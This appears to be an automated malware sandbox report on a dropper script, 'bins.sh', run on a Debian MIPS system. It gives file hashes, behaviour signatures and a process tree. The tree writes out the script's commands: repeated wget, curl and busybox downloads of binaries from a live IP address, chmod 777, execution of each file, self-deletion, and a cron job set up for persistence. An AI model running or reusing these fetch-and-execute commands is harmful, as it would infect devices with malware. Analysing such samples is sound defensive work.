Analysis

  • max time kernel
    176s
  • max time network
    132s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    26/11/2024, 12:23

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fc41e96c416e7e08c67b3b8a90dc5281

  • SHA1

    2e32b0e3f9f7b76565855b1b51caefe1b5baa43f

  • SHA256

    ad854bdbc344eddc4f97eb6ac8e45f35db706a8341b459c89579ca05515c23c6

  • SHA512

    593594493042937480a0f6493a50e4eb6b6b307fd8fff7d371d1ad001146e5c771aed934cffb0693193e1bc35c691c926fd4d42edb4a3d4fccdd274ad1c0ee77

  • SSDEEP

    192:1x9NM03//ciijgqZ/XlZ/Xlii/ox9NM0t:1x9NM03//ciijgYriiQx9NM0t

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          ./AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            ./dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Writes file to tmp directory
              PID:750
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:760
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Writes file to tmp directory
              PID:771
            • /bin/chmod
              chmod 777 dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • File and Directory Permissions Modification
              PID:777
            • /tmp/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              ./dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Executes dropped EXE
              PID:779
            • /bin/rm
              rm dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
                PID:782
              • /usr/bin/wget
                wget http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Writes file to tmp directory
                PID:783
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:795
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Writes file to tmp directory
                PID:803
              • /bin/chmod
                chmod 777 3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • File and Directory Permissions Modification
                PID:804
              • /tmp/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                ./3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Executes dropped EXE
                PID:805
              • /bin/rm
                rm 3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                  PID:807
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Writes file to tmp directory
                  PID:808
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Writes file to tmp directory
                  PID:809
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Writes file to tmp directory
                  PID:810
                • /bin/chmod
                  chmod 777 RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • File and Directory Permissions Modification
                  PID:811
                • /tmp/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  ./RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Executes dropped EXE
                  PID:812
                • /bin/rm
                  rm RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                    PID:814
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                    2⤵
                    • Writes file to tmp directory
                    PID:815
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:826
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                    2⤵
                    • Writes file to tmp directory
                    PID:841
                  • /bin/chmod
                    chmod 777 r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                    2⤵
                    • File and Directory Permissions Modification
                    PID:848
                  • /tmp/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                    ./r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:849
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:851
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:852
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:853
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:854
                      • /bin/rm
                        rm r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                        2⤵
                          PID:856
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                          2⤵
                            PID:859
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                            2⤵
                              PID:860
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                              2⤵
                              • Writes file to tmp directory
                              PID:861
                            • /bin/chmod
                              chmod 777 ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                              2⤵
                              • File and Directory Permissions Modification
                              PID:862
                            • /tmp/ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                              ./ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                              2⤵
                              • Executes dropped EXE
                              PID:863
                            • /bin/rm
                              rm ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                              2⤵
                                PID:865
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                2⤵
                                  PID:866
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                  2⤵
                                  • Reads runtime system information
                                  PID:867
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:868
                                • /bin/chmod
                                  chmod 777 W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:869
                                • /tmp/W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                  ./W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                  2⤵
                                  • Executes dropped EXE
                                  PID:870
                                • /bin/rm
                                  rm W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                  2⤵
                                    PID:872
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/rf2YQIGMhU4V9rqENXmbvsvWZJryWaP77j
                                    2⤵
                                      PID:873
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/rf2YQIGMhU4V9rqENXmbvsvWZJryWaP77j
                                      2⤵
                                        PID:874
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/rf2YQIGMhU4V9rqENXmbvsvWZJryWaP77j
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:875
                                      • /bin/chmod
                                        chmod 777 rf2YQIGMhU4V9rqENXmbvsvWZJryWaP77j
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:876
                                      • /tmp/rf2YQIGMhU4V9rqENXmbvsvWZJryWaP77j
                                        ./rf2YQIGMhU4V9rqENXmbvsvWZJryWaP77j
                                        2⤵
                                        • Executes dropped EXE
                                        PID:877
                                      • /bin/rm
                                        rm rf2YQIGMhU4V9rqENXmbvsvWZJryWaP77j
                                        2⤵
                                          PID:879
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/spMzzDcoBlkV36oMaHlXDchv9yFbNut7uI
                                          2⤵
                                            PID:880
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/spMzzDcoBlkV36oMaHlXDchv9yFbNut7uI
                                            2⤵
                                            • Reads runtime system information
                                            PID:881
                                          • /bin/busybox
                                            /bin/busybox wget http://216.126.231.240/bins/spMzzDcoBlkV36oMaHlXDchv9yFbNut7uI
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:882
                                          • /bin/chmod
                                            chmod 777 spMzzDcoBlkV36oMaHlXDchv9yFbNut7uI
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:883
                                          • /tmp/spMzzDcoBlkV36oMaHlXDchv9yFbNut7uI
                                            ./spMzzDcoBlkV36oMaHlXDchv9yFbNut7uI
                                            2⤵
                                            • Executes dropped EXE
                                            PID:884
                                          • /bin/rm
                                            rm spMzzDcoBlkV36oMaHlXDchv9yFbNut7uI
                                            2⤵
                                              PID:886
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/xosycLxDltJppsP5JpJeRarvQXz3BSjIQZ
                                              2⤵
                                                PID:887
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/xosycLxDltJppsP5JpJeRarvQXz3BSjIQZ
                                                2⤵
                                                • Reads runtime system information
                                                PID:888
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/xosycLxDltJppsP5JpJeRarvQXz3BSjIQZ
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:889
                                              • /bin/chmod
                                                chmod 777 xosycLxDltJppsP5JpJeRarvQXz3BSjIQZ
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:890
                                              • /tmp/xosycLxDltJppsP5JpJeRarvQXz3BSjIQZ
                                                ./xosycLxDltJppsP5JpJeRarvQXz3BSjIQZ
                                                2⤵
                                                • Executes dropped EXE
                                                PID:891
                                              • /bin/rm
                                                rm xosycLxDltJppsP5JpJeRarvQXz3BSjIQZ
                                                2⤵
                                                  PID:893
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/z6GmIHtnBhzhTyIqHh2d4N0Ru5BLKATzNG
                                                  2⤵
                                                    PID:894

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG

                                                  Filesize

                                                  117KB

                                                  MD5

                                                  849fa04ef88a8e8de32cb2e8538de5fe

                                                  SHA1

                                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                  SHA256

                                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                  SHA512

                                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04

                                                  Filesize

                                                  99KB

                                                  MD5

                                                  9438d9bc392bcf300a5583b6df5bc8f6

                                                  SHA1

                                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                                  SHA256

                                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                  SHA512

                                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                • /tmp/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g

                                                  Filesize

                                                  151KB

                                                  MD5

                                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                                  SHA1

                                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                  SHA256

                                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                  SHA512

                                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                • /tmp/W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc

                                                  Filesize

                                                  141KB

                                                  MD5

                                                  3ca8decdb1e52c423c521bfff02ac200

                                                  SHA1

                                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                  SHA256

                                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                  SHA512

                                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                • /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET

                                                  Filesize

                                                  127KB

                                                  MD5

                                                  89077b7bd4bcafca7713be43635c4862

                                                  SHA1

                                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                                  SHA256

                                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                  SHA512

                                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                • /tmp/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx

                                                  Filesize

                                                  111KB

                                                  MD5

                                                  ca897a38f23ec23521ce0b1b83f8422d

                                                  SHA1

                                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                  SHA256

                                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                  SHA512

                                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                • /tmp/ptijRw14Caed3vUICtkB0em8R50rkMJsVr

                                                  Filesize

                                                  107KB

                                                  MD5

                                                  eb9c3a0de91fcf16ba17cb24608df68c

                                                  SHA1

                                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                                  SHA256

                                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                  SHA512

                                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                • /tmp/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl

                                                  Filesize

                                                  151KB

                                                  MD5

                                                  6c583043d91c55aa470c08c87058e917

                                                  SHA1

                                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                                  SHA256

                                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                  SHA512

                                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                • /tmp/rf2YQIGMhU4V9rqENXmbvsvWZJryWaP77j

                                                  Filesize

                                                  119KB

                                                  MD5

                                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                                  SHA1

                                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                  SHA256

                                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                  SHA512

                                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                • /tmp/spMzzDcoBlkV36oMaHlXDchv9yFbNut7uI

                                                  Filesize

                                                  122KB

                                                  MD5

                                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                                  SHA1

                                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                  SHA256

                                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                  SHA512

                                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                • /tmp/xosycLxDltJppsP5JpJeRarvQXz3BSjIQZ

                                                  Filesize

                                                  112KB

                                                  MD5

                                                  05d7857dcead18bbd86d2935f591873c

                                                  SHA1

                                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                  SHA256

                                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                  SHA512

                                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                • /var/spool/cron/crontabs/tmp.972DKO

                                                  Filesize

                                                  210B

                                                  MD5

                                                  f863d781081a5c8293c35cd46d3015d0

                                                  SHA1

                                                  901ff033cc4bdca9f155e55a029360d4c1760b99

                                                  SHA256

                                                  0eed37d236295f1f071788c93d4b2da9e873578a523d0f18900cd72e1c21a401

                                                  SHA512

                                                  3df5cad13a079f1ad131d3cbfe40500c7cb7a60dff7696d77e908471a7d335a0fa3b3c26b1aabef3a1909fbb30f00c0450f665580e20e473a015770704837b82